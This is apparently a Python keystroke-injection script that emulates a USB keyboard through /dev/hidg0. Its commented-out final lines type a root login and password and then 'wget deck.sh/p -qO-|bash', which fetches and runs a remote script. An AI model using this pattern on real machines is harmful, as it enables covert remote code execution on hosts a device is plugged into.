#!/usr/bin/env python3 import keycodes #import time NULL_CHAR = chr(0) def write_report(report): with open('/dev/hidg0', 'rb+') as fd: fd.write(report.encode()) # Press a # write_report(NULL_CHAR*2+chr(4)+NULL_CHAR*5) # Release keys #write_report(NULL_CHAR*8) # Press SHIFT + a = A #write_report(chr(32)+NULL_CHAR+chr(4)+NULL_CHAR*5) # Press b #write_report(NULL_CHAR*2+chr(5)+NULL_CHAR*5) # Release keys #write_report(NULL_CHAR*8) # Press SHIFT + b = B #write_report(chr(32)+NULL_CHAR+chr(5)+NULL_CHAR*5) # Press SPACE key #write_report(NULL_CHAR*2+chr(44)+NULL_CHAR*5) # Press c key #write_report(NULL_CHAR*2+chr(6)+NULL_CHAR*5) # Press d key #write_report(NULL_CHAR*2+chr(7)+NULL_CHAR*5) # Press RETURN/ENTER key #write_report(NULL_CHAR*2+chr(40)+NULL_CHAR*5) # Press e key #write_report(NULL_CHAR*2+chr(8)+NULL_CHAR*5) # Press f key #write_report(NULL_CHAR*2+chr(9)+NULL_CHAR*5) # Release all keys #write_report(NULL_CHAR*8) def write_char(char): write_report(NULL_CHAR*2+chr(char)+NULL_CHAR*5) def write_caps(char): write_report(chr(32)+NULL_CHAR+chr(char)+NULL_CHAR*5) def write_str(word): for letter in word: if letter == "~": letter = "`" write_caps(keycodes.keycodelst[letter]) if letter == "|": letter = "\\" write_caps(keycodes.keycodelst[letter]) continue if letter == "!": letter = "1" write_caps(keycodes.keycodelst[letter]) continue if letter == "*": letter = "8" write_caps(keycodes.keycodelst[letter]) continue if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z': #print(letter.capitalize(), letter) write_caps(keycodes.keycodelst[letter]) write_report(NULL_CHAR*8) continue else: letter = letter.capitalize() if letter == "\n": letter = "ENTER" try: write_char(keycodes.keycodelst[letter]) except: print("Unsupported keycode! Ask Cole Deck to add support.") finally: write_report(NULL_CHAR*8) def write_special(input): #lst = [x for x in input] #if lst[0] == "F": # F key requested! try: write_char(keycodes.keycodelst[input]) except: print("Unsupported keycode! Ask Cole Deck to add support.") finally: write_report(NULL_CHAR*8) #write_str("root\n") #time.sleep(0.5) #write_str("qwertypass\n") #time.sleep(2) #write_str("dwget deck.sh/p -qO-|bash\n") #time.sleep(1) #write_word("test|er")